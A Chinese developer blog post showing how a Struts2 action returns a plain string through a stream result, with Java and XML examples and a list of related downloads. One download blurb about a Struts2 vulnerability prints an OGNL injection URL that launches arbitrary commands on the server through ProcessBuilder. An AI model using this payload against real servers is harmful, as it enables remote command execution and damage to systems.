`

struts2如何返回String

阅读更多
有时候ajax应用只需要服务器返回一个字符串而不是一个jsp页面。可以用如下方法实现。将action的返回类型设为stream,将字符串写入字符串输入流,返回给客户端。示例代码如下


import java.io.InputStream;
import java.io.StringBufferInputStream;
import com.opensymphony.xwork2.ActionSupport;

public class TextResult extends ActionSupport  {
    private InputStream inputStream;
    //省略get方法
    public String execute(){
        inputStream = new StringBufferInputStream("This is a string response");
        return SUCCESS;
    }
}


<action name="text-result" class="actions.TextResult">
<result type="stream">
    <param name="inputName">inputStream</param>
  </result>
</action>


据jdk1.6上说, StringBufferInputStream类已经过时。建议使用StringReader。但是经我查看源代码,stream返回类型只支持InputStream的子类。
分享到:
评论
1 楼 科比积木 2012-07-04  
将字符串信息转换为json格式,返回前台js中

相关推荐

    Struts2_result返回类型

    在struts2的返回结果配置中,我们大部分情况使用默认的或者chain或者redirect,其实struts2还有很多其他类型的,今天我们就来看一下都有哪些类型。 打开struts2的源码中struts-default.xml文件,我们能看到如下配置

    struts1和struts2的区别

    首先,从ActionForStruts2可以看出,返回的对象不是ActionForward,而是String。如果你不喜欢以字符串的形式出现在你的代码中,有个Helper接口Action可以以常量方式提供常见结果,如“success”、“none”、“error...

    hibernate String struts2 包

    好用的hibernate String struts2 包包 精简的

    Struts2 in action中文版

    第1章 Struts 2:现代Web框架 2 1.1 Web应用程序:快速学习 2 1.1.1 构建Web应用程序 2 1.1.2 基础技术简介 3 1.1.3 深入研究 6 1.2 Web应用程序框架 7 1.2.1 什么是框架 7 1.2.2 为什么使用框架 8 1.3 Struts 2框架...

    Struts2+Spring+Maven+MongoDB

    最近在学习MongoDB,结合一直在用的Struts2,Spring,Maven,搭建了一个框架

    struts2 +jquey uploadify3.2 实现多文件上传

    struts2 +jquey uploadify3 2 实现多文件上传 可以运行的myeclipse工程 绝对好用 访问方式http: 127 0 0 1:8080 Struts2Uploadify upload jsp uploadify 使用说明: &lt;a href &quot;javascript:$ &quot;#file ...

    struts2基于xml验证(最常用的三种类型String、Date、int验证).doc

    struts2基于xml验证(最常用的三种类型String、Date、int验证).doc

    网上书店struts2 hibernate spring实现

    网上书店比较完整的实现,采用三个主流框架。有各种浏览分类浏览系统,购物车系统,订单系统以及权限控制系统。使用netbeans6.5+mysql。代码的里边的默认包有一个sql文件是使用navicat导出的数据库数据。...

    STRUTS2+SPRING+IBATIS搭建的Demo实例

    使用STRUTS2,SPRING,IBATIS 搭建三层开发环境,完全自动装配。 系统包括完成的Demo,及lib包,放入tomcat中,既可运行。

    struts2上传插件(中文编码冲突解决)

    解决Struts2上传时候使用UTF-8的冲突问题: * 重新包装了JakartaMultiPartRequest提供Chartset的设置方法。 * 可以通过配置方式对MultiPartRequest中的内容进行编码设定,请在Struts.xml中配置添加struts.multipart...

    struts2漏洞.rar

    用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的...

    深入浅出Struts2(附源码)

    本书是广受赞誉的Struts 2优秀教程,它全面而深入地阐述了Struts 2的各个特性,并指导开发人员如何根据遇到的问题对症下药,选择使用最合适的特性。作者处处从实战出发,在丰富的示例中直观地探讨了许多实用的技术,...

    Struts2上传文件出错

    import org.apache.struts2.ServletActionContext; import com.opensymphony.xwork2.ActionSupport; public class UploadAction extends ActionSupport { // 上传文件存放路径 private final static String ...

    用Struts2新建一个应用的方法步骤

    用Struts2新建一个应用的方法步骤用Struts2新建一个应用的方法步骤: 1.首先新建一个Web Project。File——new——Web Project,在Project Name中输入一个合法的名字。例如:struts2 2. 单击采单Window——...

    框架面试题,集合了String,struts2,springmvc

    框架面试题,集合了String,struts2,springmvc。 足以满足初级面试

    论坛系统(Struts 2+Hibernate+Spring实现)

    论坛系统(Struts 2+Hibernate+Spring实现) &lt;!DOCTYPE validators SYSTEM "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd" PUBLIC "-//OpenSymphony Group//XWork Validator 1.0.2//EN"&gt; -...

    STRUTS2+SPRING3+ACTIVITI5.6整合项目

    struts2、sprint3、activiti5整合项目, 其中有很多帮助类,如:时间帮助类,数据库帮助类,string帮助类, excel操作帮助类,jfreechart帮助类,spring帮助类等等, 绝对物超所值!

    Struts2实现文件上传

    注意:private String uploadContextType;应更正为private String uploadContentType;不过不影响正常运行

Global site tag (gtag.js) - Google Analytics